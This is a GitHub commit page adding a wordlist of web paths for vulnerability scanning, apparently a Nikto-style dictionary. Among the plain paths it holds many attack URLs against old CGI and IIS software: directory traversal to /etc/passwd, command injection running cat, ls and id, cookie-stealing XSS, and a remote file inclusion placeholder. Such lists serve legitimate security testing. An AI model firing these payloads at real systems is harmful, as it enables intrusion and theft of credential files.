Add files via upload
InfoSec
GitHub
parent
2b180e8fe8
commit
af88d04fb4
|
|
@ -0,0 +1,642 @@
|
|||
/.printer
|
||||
/%NETHOOD%/
|
||||
/<script>alert('XSS')</script>.aspx
|
||||
/AccessPlatform/
|
||||
/AccessPlatform/auth/
|
||||
/AccessPlatform/auth/clientscripts/cookies.js
|
||||
/AccessPlatform/auth/clientscripts/login.js
|
||||
/Exadmin/
|
||||
/ExchWeb/
|
||||
/Exchange/
|
||||
/Microsoft-Server-ActiveSync/
|
||||
/OMA/
|
||||
/OWA/
|
||||
/Public/
|
||||
/_layouts/alllibs.htm
|
||||
/_layouts/settings.htm
|
||||
/_layouts/userinfo.htm
|
||||
/_vti_bin/
|
||||
/_vti_bin/_vti_aut/fp30reg.dll
|
||||
/_vti_pvt/
|
||||
/_WEB_INF/
|
||||
/a%5c.aspx
|
||||
/adovbs.inc
|
||||
/aspnet_files/
|
||||
/certcontrol/
|
||||
/certenroll/
|
||||
/certsrv/
|
||||
/citrix/
|
||||
/citrix/AccessPlatform/auth/
|
||||
/citrix/AccessPlatform/auth/clientscripts/
|
||||
/AccessPlatform/auth/clientscripts/
|
||||
/Citrix//AccessPlatform/auth/clientscripts/cookies.js
|
||||
/Citrix/AccessPlatform/auth/clientscripts/login.js
|
||||
/Citrix/PNAgent/config.xml
|
||||
/exchange/root.asp
|
||||
/forum.asp
|
||||
/forum_arc.asp
|
||||
/forum_professionnel.asp
|
||||
/iisadmin/
|
||||
/iisadmpwd/achg.htr
|
||||
/iisadmpwd/aexp.htr
|
||||
/iisadmpwd/aexp2.htr
|
||||
/iisadmpwd/aexp2b.htr
|
||||
/iisadmpwd/aexp3.htr
|
||||
/iisadmpwd/aexp4.htr
|
||||
/iisadmpwd/aexp4b.htr
|
||||
/iisadmpwd/anot.htr
|
||||
/iisadmpwd/anot3.htr
|
||||
/iiasdmpwd/
|
||||
/iishelp/
|
||||
/iishelp/iis/misc/default.asp
|
||||
/iissamples/
|
||||
/imprimer.asp
|
||||
/includes/adovbs.inc
|
||||
/msadc/
|
||||
/null.htw
|
||||
/pbserver/pbserver.dll
|
||||
/postinfo.html
|
||||
/rubrique.asp
|
||||
/scripts/
|
||||
/scripts/fpcount.exe
|
||||
/scripts/cgimail.exe
|
||||
/scripts/tools/newdsn.exe
|
||||
/scripts/tools/getdrvs.exe
|
||||
/scripts/convert.bas
|
||||
/cgi-bin/htmlscript
|
||||
/scripts/counter.exe
|
||||
/scripts/no-such-file.pl
|
||||
/share/
|
||||
/tsweb/
|
||||
/~/<script>alert('XSS')</script>.asp
|
||||
/~/<script>alert('XSS')</script>.aspx
|
||||
/index.shtml
|
||||
/x.htw
|
||||
/x.ida
|
||||
/x.idq
|
||||
/cgi
|
||||
/scripts/iisadmin/ism.dll?http/dir
|
||||
/scripts/samples/search/webhits.exe
|
||||
%2e%2e/abyss.conf
|
||||
.access
|
||||
.cobalt
|
||||
.cobalt/alert/service.cgi?service=<img%20src=javascript:alert('XSS')>
|
||||
.cobalt/alert/service.cgi?service=<script>alert('XSS')</script>
|
||||
.fhp
|
||||
.htaccess
|
||||
.htaccess.old
|
||||
.htaccess.save
|
||||
.htaccess~
|
||||
.htpasswd
|
||||
.nsconfig
|
||||
.passwd
|
||||
.www_acl
|
||||
.wwwacl
|
||||
/_vti_pvt/doctodep.btr
|
||||
14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}
|
||||
14all.cgi?cfg=../../../../../../../..{KNOWNFILE}
|
||||
AT-admin.cgi
|
||||
AT-generate.cgi
|
||||
Album?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0
|
||||
AnyBoard.cgi
|
||||
AnyForm
|
||||
AnyForm2
|
||||
Backup/add-passwd.cgi
|
||||
C
|
||||
Count.cgi
|
||||
DC
|
||||
DCFORM
|
||||
File
|
||||
FormHandler.cgi?realname=aaa&email=aaa&reply_message_template=%2Fetc%2Fpasswd&reply_message_from=sq%40example.com&redirect=http%3A%2F%2Fwww.example.com&recipient=sq%40example.com
|
||||
FormMail.cgi?<script>alert(\
|
||||
FormMail.pl
|
||||
ImageFolio/admin/admin.cgi
|
||||
LWGate
|
||||
LWGate.cgi
|
||||
Upload.pl
|
||||
Vs
|
||||
W
|
||||
YaBB.pl?board=news&action=display&num=../../../../../../../../../..{KNOWNFILE}%00
|
||||
YaBB/YaBB.cgi?board=BOARD&action=display&num=<script>alert('XSS')</script>
|
||||
a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}
|
||||
a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}
|
||||
a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}
|
||||
a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}
|
||||
add_ftp.cgi
|
||||
addbanner.cgi
|
||||
adduser.cgi
|
||||
admin.cgi
|
||||
admin.cgi?list=../../../../../../../../../..{KNOWNFILE}
|
||||
admin.php
|
||||
admin.php3
|
||||
admin.pl
|
||||
adminhot.cgi
|
||||
adminwww.cgi
|
||||
af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd
|
||||
aglimpse
|
||||
aglimpse.cgi
|
||||
alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,
|
||||
alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd
|
||||
amadmin.pl
|
||||
anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}
|
||||
ans.pl?p=../../../../../usr/bin/id|&blah
|
||||
ans/ans.pl?p=../../../../../usr/bin/id|&blah
|
||||
anyboard.cgi
|
||||
archie
|
||||
architext_query.cgi
|
||||
architext_query.pl
|
||||
ash
|
||||
astrocam.cgi
|
||||
atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL
|
||||
auction/auction.cgi?action=
|
||||
auctiondeluxe/auction.pl
|
||||
auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}
|
||||
auth_data/auth_user_file.txt
|
||||
awl/auctionweaver.pl
|
||||
awstats.pl
|
||||
awstats/awstats.pl
|
||||
ax-admin.cgi
|
||||
ax.cgi
|
||||
axs.cgi
|
||||
badmin.cgi
|
||||
banner.cgi
|
||||
bannereditor.cgi
|
||||
bash
|
||||
bb-hist?HI
|
||||
bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK
|
||||
bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK
|
||||
bbs_forum.cgi
|
||||
betsie/parserl.pl/<script>alert('XSS')</script>;
|
||||
bigconf.cgi?command=view_textfile&file={KNOWNFILE}&filters=
|
||||
bizdb1-search.cgi
|
||||
blog/
|
||||
blog/mt-check.cgi
|
||||
blog/mt-load.cgi
|
||||
blog/mt.cfg
|
||||
bnbform
|
||||
bnbform.cgi
|
||||
book.cgi?action=default¤t=|cat%20{KNOWNFILE}|&form_tid=996604045&prev=main.html&list_message_index=10
|
||||
boozt/admin/index.cgi?section=5&input=1
|
||||
bsguest.cgi?email=x;ls
|
||||
bslist.cgi?email=x;ls
|
||||
build.cgi
|
||||
bulk/bulk.cgi
|
||||
c_download.cgi
|
||||
cached_feed.cgi
|
||||
cachemgr.cgi
|
||||
cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00
|
||||
calendar
|
||||
calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22
|
||||
calendar.pl
|
||||
calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|
|
||||
calendar/index.cgi
|
||||
calendar_admin.pl?config=|cat%20{KNOWNFILE}|
|
||||
calender_admin.pl
|
||||
campas?%0acat%0a{KNOWNFILE}%0a
|
||||
cart.pl
|
||||
cart.pl?db='
|
||||
cartmanager.cgi
|
||||
cbmc/forums.cgi
|
||||
ccbill-local.cgi?cmd=MENU
|
||||
ccbill-local.pl?cmd=MENU
|
||||
cgforum.cgi
|
||||
cgi-lib.pl
|
||||
cgicso?query=<script>alert('XSS')</script>
|
||||
cgicso?query=AAA
|
||||
cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00
|
||||
cgiwrap
|
||||
cgiwrap/%3Cfont%20color=red%3E
|
||||
cgiwrap/~@U
|
||||
cgiwrap/~JUNK(5)
|
||||
cgiwrap/~root
|
||||
change-your-password.pl
|
||||
classified.cgi
|
||||
classifieds
|
||||
classifieds.cgi
|
||||
classifieds/classifieds.cgi
|
||||
classifieds/index.cgi
|
||||
clickcount.pl?view=test
|
||||
clickresponder.pl
|
||||
code.php
|
||||
code.php3
|
||||
com5..........................................................................................................................................................................................................................box
|
||||
com5.java
|
||||
com5.pl
|
||||
commandit.cgi
|
||||
commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html
|
||||
common.php?f=0&ForumLang=../../../../../../../../../..{KNOWNFILE}
|
||||
common/listrec.pl
|
||||
common/listrec.pl?APP=qmh-news&TEMPLATE=;ls%20/etc|
|
||||
compatible.cgi
|
||||
count.cgi
|
||||
counter-ord
|
||||
counterbanner
|
||||
counterbanner-ord
|
||||
counterfiglet-ord
|
||||
counterfiglet/nc/
|
||||
cs
|
||||
csChatRBox.cgi?command=savesetup&setup=;system('cat%20{KNOWNFILE}')
|
||||
csGuestBook.cgi?command=savesetup&setup=;system('cat%20{KNOWNFILE}')
|
||||
csLive
|
||||
csNews.cgi
|
||||
csNewsPro.cgi?command=savesetup&setup=;system('cat%20{KNOWNFILE}')
|
||||
csPassword.cgi
|
||||
csPassword/csPassword.cgi
|
||||
csh
|
||||
cstat.pl
|
||||
cutecast/members/
|
||||
cvsblame.cgi?file=<script>alert('XSS')</script>
|
||||
cvslog.cgi?file=*&rev=&root=<script>alert('XSS')</script>
|
||||
cvslog.cgi?file=<script>alert('XSS')</script>
|
||||
cvsquery.cgi?branch=<script>alert('XSS')</script>&file=<script>alert(document.domain)</script>&date=<script>alert(document.domain)</script>
|
||||
cvsquery.cgi?module=<script>alert('XSS')</script>&branch=&dir=&file=&who=<script>alert(document.domain)</script>&sortby=Date&hours=2&date=week
|
||||
cvsqueryform.cgi?cvsroot=/cvsroot&module=<script>alert('XSS')</script>&branch=HEAD
|
||||
dansguardian.pl?DENIEDURL=</a><script>alert('XSS');</script>
|
||||
dasp/fm_shell.asp
|
||||
data/fetch.php?page=
|
||||
date
|
||||
day5datacopier.cgi
|
||||
day5datanotifier.cgi
|
||||
db2www/library/document.d2w/show
|
||||
db4web_c/dbdirname/{KNOWNFILE}
|
||||
db_manager.cgi
|
||||
dbman/db.cgi?db=no-db
|
||||
dcforum.cgi?az=list&forum=../../../../../../../../../..{KNOWNFILE}%00
|
||||
dcshop/auth_data/auth_user_file.txt
|
||||
dcshop/orders/orders.txt
|
||||
dfire.cgi
|
||||
diagnose.cgi
|
||||
dig.cgi
|
||||
directorypro.cgi?want=showcat&show=../../../../../../../../../..{KNOWNFILE}%00
|
||||
displayTC.pl
|
||||
dnewsweb
|
||||
donothing
|
||||
dose.pl?daily&somefile.txt&|ls|
|
||||
download.cgi
|
||||
dumpenv.pl
|
||||
edit.pl
|
||||
empower?DB=whateverwhatever
|
||||
emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00
|
||||
emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00
|
||||
emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00
|
||||
enter.cgi
|
||||
environ.cgi
|
||||
environ.pl
|
||||
environ.pl?param1=<script>alert(document.cookie)</script>
|
||||
erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E
|
||||
eshop.pl/seite=;cat%20eshop.pl|
|
||||
ex-logger.pl
|
||||
excite
|
||||
excite;IF
|
||||
ezadmin.cgi
|
||||
ezboard.cgi
|
||||
ezman.cgi
|
||||
ezshopper/loadpage.cgi?user_id=1&file=|cat%20{KNOWNFILE}|
|
||||
ezshopper/search.cgi?user_id=id&database=dbase1.exm&template=../../../../../../..{KNOWNFILE}&distinct=1
|
||||
ezshopper2/loadpage.cgi
|
||||
ezshopper3/loadpage.cgi
|
||||
faqmanager.cgi?toc={KNOWNFILE}%00
|
||||
faxsurvey?cat%20{KNOWNFILE}
|
||||
filemail
|
||||
filemail.pl
|
||||
finger
|
||||
finger.pl
|
||||
flexform
|
||||
flexform.cgi
|
||||
fom.cgi?file=<script>alert('XSS')</script>
|
||||
fom/fom.cgi?cmd=<script>alert('XSS')</script>&file=1&keywords=vulnerable
|
||||
formmail
|
||||
formmail.cgi
|
||||
formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&email=joeuser@localhost&subject=test
|
||||
formmail.pl
|
||||
formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&email=joeuser@localhost&subject=test
|
||||
formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&email=joeuser@localhost&subject=test
|
||||
fortune
|
||||
ftp.pl
|
||||
ftpsh
|
||||
gH.cgi
|
||||
gbadmin.cgi?action=change_adminpass
|
||||
gbadmin.cgi?action=change_automail
|
||||
gbadmin.cgi?action=colors
|
||||
gbadmin.cgi?action=setup
|
||||
gbook/gbook.cgi?_MAILTO=xx;ls
|
||||
gbpass.pl
|
||||
generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1
|
||||
generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1
|
||||
generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1
|
||||
getdoc.cgi
|
||||
gettransbitmap
|
||||
glimpse
|
||||
gm-authors.cgi
|
||||
gm-cplog.cgi
|
||||
gm.cgi
|
||||
guestbook.cgi
|
||||
guestbook.cgi?user=cpanel&template=|/bin/cat%20{KNOWNFILE}|
|
||||
guestbook.pl
|
||||
guestbook/passwd
|
||||
handler.cgi
|
||||
hitview.cgi
|
||||
horde/test.php
|
||||
horde/test.php?mode=phpinfo
|
||||
hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00
|
||||
htgrep?file=index.html&hdr={KNOWNFILE}
|
||||
html2chtml.cgi
|
||||
html2wml.cgi
|
||||
htmlscript?../../../../../../../../../..{KNOWNFILE}
|
||||
htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E
|
||||
htsearch?-c/nonexistant
|
||||
htsearch?config=foofighter&restrict=&exclude=&method=and&format=builtin-long&sort=score&words=
|
||||
htsearch?exclude=%60{KNOWNFILE}%60
|
||||
ibill.pm
|
||||
icat
|
||||
if/admin/nph-build.cgi
|
||||
ikonboard/help.cgi?
|
||||
imageFolio.cgi
|
||||
imagefolio/admin/admin.cgi
|
||||
imagemap
|
||||
include/new-visitor.inc.php
|
||||
index.js0x70
|
||||
index.pl
|
||||
info2www
|
||||
info2www '(../../../../../../../bin/mail root <{KNOWNFILE}>
|
||||
infosrch.cgi
|
||||
ion-p?page=../../../../..{KNOWNFILE}
|
||||
jailshell
|
||||
jj
|
||||
journal.cgi?folder=journal.cgi%00
|
||||
ksh
|
||||
lastlines.cgi?process
|
||||
listrec.pl
|
||||
loadpage.cgi?user_id=1&file=../../../../../../../../../..{KNOWNFILE}
|
||||
loadpage.cgi?user_id=1&file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini
|
||||
log-reader.cgi
|
||||
log/
|
||||
log/nether-log.pl?checkit
|
||||
login.cgi
|
||||
login.pl
|
||||
login.pl?course_id=\
|
||||
logit.cgi
|
||||
logs.pl
|
||||
logs/
|
||||
logs/access_log
|
||||
logs/error_log
|
||||
lookwho.cgi
|
||||
ls
|
||||
lwgate
|
||||
lwgate.cgi
|
||||
magiccard.cgi?pa=3Dpreview&next=3Dcustom&page=3D../../../../../../../../../..{KNOWNFILE}
|
||||
mail
|
||||
mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00
|
||||
mail/nph-mr.cgi?do=loginhelp&configLanguage=../../../../../../..{KNOWNFILE}%00
|
||||
mailit.pl
|
||||
maillist.cgi
|
||||
maillist.pl
|
||||
mailnews.cgi
|
||||
main.cgi?board=FREE_BOARD&command=down_load&filename=../../../../../../../../../..{KNOWNFILE}
|
||||
majordomo.pl
|
||||
man2html
|
||||
mastergate/search.cgi?search=0&search_on=all
|
||||
meta.pl
|
||||
mgrqcgi
|
||||
mini_logger.cgi
|
||||
mmstdod.cgi
|
||||
moin.cgi?test
|
||||
mojo/mojo.cgi
|
||||
mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}
|
||||
mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}
|
||||
mrtg.cgi?cfg=blah
|
||||
ms_proxy_auth_query/
|
||||
mt-static/
|
||||
mt-static/mt-check.cgi
|
||||
mt-static/mt-load.cgi
|
||||
mt-static/mt.cfg
|
||||
mt/
|
||||
mt/mt-check.cgi
|
||||
mt/mt-load.cgi
|
||||
mt/mt.cfg
|
||||
multihtml.pl?multi={KNOWNFILE}%00html
|
||||
musicqueue.cgi
|
||||
myguestbook.cgi?action=view
|
||||
namazu.cgi
|
||||
nbmember.cgi?cmd=list_all_users
|
||||
netauth.cgi?cmd=show&page=../../../../../../../../../..{KNOWNFILE}
|
||||
netpad.cgi
|
||||
newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}
|
||||
nimages.php
|
||||
nlog-smb.cgi
|
||||
nlog-smb.pl
|
||||
non-existent.pl
|
||||
noshell
|
||||
nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00
|
||||
nph-error.pl
|
||||
nph-exploitscanget.cgi
|
||||
nph-maillist.pl
|
||||
nph-publish
|
||||
nph-publish.cgi
|
||||
nph-showlogs.pl?files=../../&filter=.*&submit=Go&linecnt=500&refresh=0
|
||||
nph-test-cgi
|
||||
ntitar.pl
|
||||
opendir.php?{KNOWNFILE}
|
||||
orders/orders.txt
|
||||
pagelog.cgi
|
||||
pals-cgi?palsAction=restart&documentName={KNOWNFILE}
|
||||
parse-file
|
||||
pass
|
||||
passwd
|
||||
passwd.txt
|
||||
password
|
||||
pbcgi.cgi?name=Joe%Camel&email=%3C
|
||||
perl
|
||||
perl?-v
|
||||
perlshop.cgi
|
||||
pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'
|
||||
pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}
|
||||
pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'
|
||||
phf
|
||||
phf.cgi?QALIA
|
||||
phf?Qname=root%0Acat%20{KNOWNFILE}%20
|
||||
photo/
|
||||
photo/manage.cgi
|
||||
photo/protected/manage.cgi
|
||||
php-cgi
|
||||
php.cgi?{KNOWNFILE}
|
||||
plusmail
|
||||
pollit/Poll_It_
|
||||
pollssi.cgi
|
||||
post-query
|
||||
post_query
|
||||
postcards.cgi
|
||||
powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}
|
||||
printenv
|
||||
printenv.tmp
|
||||
probecontrol.cgi?command=enable&username=cancer&password=killer
|
||||
processit.pl
|
||||
profile.cgi
|
||||
pu3.pl
|
||||
publisher/search.cgi?dir=jobs&template=;cat%20{KNOWNFILE}|&output_number=10
|
||||
query
|
||||
query?mss=%2e%2e/config
|
||||
quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&cart_id=
|
||||
quikstore.cfg
|
||||
quizme.cgi
|
||||
r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}
|
||||
ratlog.cgi
|
||||
redirect
|
||||
register.cgi
|
||||
replicator/webpage.cgi/
|
||||
responder.cgi
|
||||
retrieve_password.pl
|
||||
rksh
|
||||
rmp_query
|
||||
robadmin.cgi
|
||||
robpoll.cgi
|
||||
rpm_query
|
||||
rsh
|
||||
rtm.log
|
||||
rwcgi60
|
||||
rwcgi60/showenv
|
||||
rwwwshell.pl
|
||||
sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1
|
||||
sawmill?rfcf+%22
|
||||
sbcgi/sitebuilder.cgi
|
||||
scoadminreg.cgi
|
||||
scripts/*%0a.pl
|
||||
search.cgi
|
||||
search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini
|
||||
search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini
|
||||
search.php?searchstring=<script>alert(document.cookie)</script>
|
||||
search.pl
|
||||
search.pl?Realm=All&Match=0&Terms=test&nocpp=1&maxhits=10&;Rank=<script>alert('XSS')</script>
|
||||
search.pl?form=../../../../../../../../../..{KNOWNFILE}%00
|
||||
search/search.cgi?keys=*&prc=any&catigory=../../../../../../../../../../../../etc
|
||||
sendform.cgi
|
||||
sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message
|
||||
sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}
|
||||
session/adminlogin
|
||||
sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}
|
||||
sh
|
||||
shop.cgi?page=../../../../../../..{KNOWNFILE}
|
||||
shop.pl/page=;cat%20shop.pl|
|
||||
shop/auth_data/auth_user_file.txt
|
||||
shop/orders/orders.txt
|
||||
shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}
|
||||
shopplus.cgi?dn=domainname.com&cartid=%CARTID%&file=;cat%20{KNOWNFILE}|
|
||||
show.pl
|
||||
showcheckins.cgi?person=<script>alert('XSS')</script>
|
||||
showuser.cgi
|
||||
simple/view_page?mv_arg=|cat%20{KNOWNFILE}|
|
||||
simplestguest.cgi
|
||||
simplestmail.cgi
|
||||
smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|
|
||||
smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|
|
||||
sojourn.cgi?cat=../../../../../../../../../../etc/password%00
|
||||
spin_client.cgi?aaaaaaaa
|
||||
ss
|
||||
sscd_suncourier.pl
|
||||
ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}
|
||||
start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E
|
||||
stat.pl
|
||||
stat/
|
||||
stats-bin-p/reports/index.html
|
||||
stats.pl
|
||||
stats.prf
|
||||
stats/
|
||||
stats/statsbrowse.asp?filepath=c:\&Opt=3
|
||||
stats_old/
|
||||
statsconfig
|
||||
statusconfig.pl
|
||||
statview.pl
|
||||
store.cgi?
|
||||
store/agora.cgi?cart_id=<script>alert('XSS')</script>
|
||||
store/agora.cgi?page=whatever33.html
|
||||
store/index.cgi?page=../../../../../../../..{KNOWNFILE}
|
||||
story.pl?next=../../../../../../../../../..{KNOWNFILE}%00
|
||||
story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00
|
||||
survey
|
||||
survey.cgi
|
||||
sws/admin.html
|
||||
sws/manager.pl
|
||||
tablebuild.pl
|
||||
talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&action=view&matchview=1
|
||||
tcsh
|
||||
technote/main.cgi?board=FREE_BOARD&command=down_load&filename=/../../../../../../../../../..{KNOWNFILE}
|
||||
test-cgi.tcl
|
||||
test-cgi?/*
|
||||
test-env
|
||||
test.cgi
|
||||
test/test.cgi
|
||||
texis/junk
|
||||
texis/phine
|
||||
textcounter.pl
|
||||
tidfinder.cgi
|
||||
tigvote.cgi
|
||||
title.cgi
|
||||
tpgnrock
|
||||
traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}
|
||||
troops.cgi
|
||||
ttawebtop.cgi/?action=start&pg=../../../../../../../../../..{KNOWNFILE}
|
||||
ultraboard.cgi
|
||||
ultraboard.pl
|
||||
unlg1.1
|
||||
unlg1.2
|
||||
update.dpgs
|
||||
upload.cgi
|
||||
uptime
|
||||
urlcount.cgi?%3CIMG%20
|
||||
ustorekeeper.pl?command=goto&file=../../../../../../../../../..{KNOWNFILE}
|
||||
utm/admin
|
||||
utm/utm_stat
|
||||
view-source
|
||||
view-source?view-source
|
||||
view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00
|
||||
viewcvs.cgi/viewcvs/?cvsroot=<script>alert('XSS')</script>
|
||||
viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\
|
||||
viewlogs.pl
|
||||
viewsource?{KNOWNFILE}
|
||||
viralator.cgi
|
||||
virgil.cgi
|
||||
vote.cgi
|
||||
vpasswd.cgi
|
||||
vq/demos/respond.pl?<script>alert('XSS')</script>
|
||||
w3-msql
|
||||
w3-sql
|
||||
wais.pl
|
||||
way-board.cgi?db={KNOWNFILE}%00
|
||||
way-board/way-board.cgi?db={KNOWNFILE}%00
|
||||
webais
|
||||
webbbs.cgi
|
||||
webbbs/webbbs_config.pl?name=joe&email=test@example.com&body=aaaaffff&followup=10;cat%20{KNOWNFILE}
|
||||
webcart/webcart.cgi?CONFIG=mountain&CHANGE=YE
|
||||
webdist.cgi?distloc=;cat%20{KNOWNFILE}
|
||||
webdriver
|
||||
webgais
|
||||
webif.cgi
|
||||
webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00
|
||||
webmap.cgi
|
||||
webnews.pl
|
||||
webplus?about
|
||||
webplus?script=../../../../../../../../../..{KNOWNFILE}
|
||||
websendmail
|
||||
webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}
|
||||
webutil.pl
|
||||
webutils.pl
|
||||
webwho.pl
|
||||
where.pl?sd=ls%20/etc
|
||||
whois.cgi?action=load&whois=%3Bid
|
||||
whois.cgi?lookup=;&ext=/bin/cat%20{KNOWNFILE}
|
||||
whois/whois.cgi?lookup=;&ext=/bin/cat%20{KNOWNFILE}
|
||||
whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}
|
||||
windmail
|
||||
wrap
|
||||
wrap.cgi
|
||||
ws_ftp.ini
|
||||
www-sql
|
||||
wwwadmin.pl
|
||||
wwwboard.cgi.cgi
|
||||
wwwboard.pl
|
||||
wwwstats.pl
|
||||
wwwthreads/3tvars.pm
|
||||
wwwthreads/w3tvars.pm
|
||||
wwwwais
|
||||
zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00
|
||||
zsh
|
||||
Loading…
Reference in New Issue